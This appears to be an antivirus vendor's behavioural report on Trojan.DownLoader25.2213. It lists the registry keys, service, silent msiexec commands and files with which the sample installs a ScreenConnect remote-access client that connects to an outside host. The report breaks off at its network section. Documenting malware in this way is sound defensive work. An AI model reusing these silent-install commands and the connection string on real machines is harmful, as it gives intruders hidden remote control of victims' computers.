Trojan.DownLoader25.2213

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Classes\sc-89606bea9a3af76e\shell\open\command] '' = '"%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.WindowsClient.exe" "%1"'

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\ScreenConnect Client (89606bea9a3af76e)] 'ImagePath' = '"%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.ClientService.exe" "...
[<HKLM>\SYSTEM\ControlSet001\Services\ScreenConnect Client (89606bea9a3af76e)] 'Start' = '00000002'

Malicious functions:

Executes the following:

'<SYSTEM32>\msiexec.exe' -Embedding E9F8BAD9DC059663B67115C04D57B159
'<SYSTEM32>\msiexec.exe' /I Elsinore.ScreenConnect.ClientSetup.msi /qn /norestart /log "%TEMP%\proassist.log"
'<SYSTEM32>\rundll32.exe' "%WINDIR%\Installer\MSI2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_210171 1 Elsinore.ScreenConnect.InstallerActions!Elsinore.ScreenConnect.ClientInstallerActions.FixupServiceArguments
'%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.WindowsClient.exe' "RunRole" "d1d70f2f-e154-4c80-8b3a-65e77dd5ecf4" "User"
'%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.ClientService.exe' "?e=Access&y=Guest&h=proassist.procirrus.com&p=8041&s=33f1ba2d-6e33-481c-8857-e4aeae7cafb8&k=BgIAAACkAABSU0ExAAgAAAEAAQCpYKF%2bUeh28dhmH7nNsWbHuk%2fsryDLtP5X6SUzc7ohw48x5c%2f8XNH%2br6KT6iCkCXQY...
'<SYSTEM32>\msiexec.exe' /X {06CC4C88-60F7-46E7-93A0-4D564650F6DA} /qn /norestart
'<SYSTEM32>\cmd.exe' /c msiexec /X {06CC4C88-60F7-46E7-93A0-4D564650F6DA} /qn /norestart
'<SYSTEM32>\msiexec.exe' /V
'<SYSTEM32>\cmd.exe' /c msiexec /I Elsinore.ScreenConnect.ClientSetup.msi /qn /norestart /log "%TEMP%\proassist.log"
'<SYSTEM32>\cmd.exe' /c change user /install

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\msiexec.exe

Modifies file system:

Creates the following files:

%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Client.Override.en-US.resources
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Client.en-US.resources
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Client.resources
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Client.Override.resources
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.Windows.dll
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.Core.dll
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.WindowsClient.exe.config
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.WindowsClient.exe
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\duvj2ps0.newcfg
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\vk4b0lt3.newcfg
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\oox3twop.newcfg
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\peuw2m3v.newcfg
%WINDIR%\Installer\{979A6A1D-9D5B-4BDC-8E3F-67C3451A7F97}\DefaultIcon
%WINDIR%\Installer\32d7e.msi
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\wgnlndlm.newcfg
%TEMP%\~DF305F.tmp
%WINDIR%\Installer\MSI2.tmp-\Elsinore.ScreenConnect.InstallerActions.dll
%WINDIR%\Installer\MSI2.tmp
%WINDIR%\Installer\MSI2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
%WINDIR%\Installer\MSI2.tmp-\Elsinore.ScreenConnect.Core.dll
%TEMP%\Elsinore.ScreenConnect.ClientSetup.msi
%TEMP%\aut1.tmp
%WINDIR%\Installer\32d7a.msi
%TEMP%\proassist.log
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.Client.dll
C:\Config.Msi\32d7d.rbs
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.ClientService.exe.config
%ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\Elsinore.ScreenConnect.ClientService.exe
%WINDIR%\Installer\32d7c.ipi
%WINDIR%\Installer\MSI2.tmp-\CustomAction.config
%WINDIR%\Installer\MSI3.tmp
%TEMP%\~DFD0C8.tmp

Deletes the following files:

%WINDIR%\Installer\MSI3.tmp
%WINDIR%\Installer\MSI2.tmp
C:\Config.Msi\32d7d.rbs
%WINDIR%\Installer\32d7c.ipi
%WINDIR%\Installer\32d7a.msi
%WINDIR%\Installer\MSI2.tmp-\CustomAction.config
%TEMP%\aut1.tmp
%WINDIR%\Installer\MSI2.tmp-\Elsinore.ScreenConnect.Core.dll
%WINDIR%\Installer\MSI2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
%WINDIR%\Installer\MSI2.tmp-\Elsinore.ScreenConnect.InstallerActions.dll

Moves the following files:

from %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\peuw2m3v.newcfg to %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\user.config
from %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\oox3twop.newcfg to %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\user.config
from %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\duvj2ps0.newcfg to %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\user.config
from %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\wgnlndlm.newcfg to %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\user.config
from %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\vk4b0lt3.newcfg to %ProgramFiles%\ScreenConnect Client (89606bea9a3af76e)\user.config

Network activity:

Connects to: